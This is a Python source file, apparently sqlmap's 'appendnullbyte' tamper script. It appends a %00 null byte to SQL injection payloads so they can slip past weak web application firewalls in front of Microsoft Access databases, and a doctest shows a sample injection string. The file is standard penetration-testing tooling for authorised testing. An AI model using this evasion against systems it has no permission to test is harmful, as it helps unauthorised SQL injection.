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38 lines
1000 B
Python
38 lines
1000 B
Python
#!/usr/bin/env python2
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOWEST
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
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def tamper(payload, **kwargs):
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"""
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Appends (Access) NULL byte character (%00) at the end of payload
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Requirement:
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* Microsoft Access
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Notes:
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* Useful to bypass weak web application firewalls when the back-end
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database management system is Microsoft Access - further uses are
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also possible
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Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
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>>> tamper('1 AND 1=1')
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'1 AND 1=1%00'
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"""
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return "%s%%00" % payload if payload else payload
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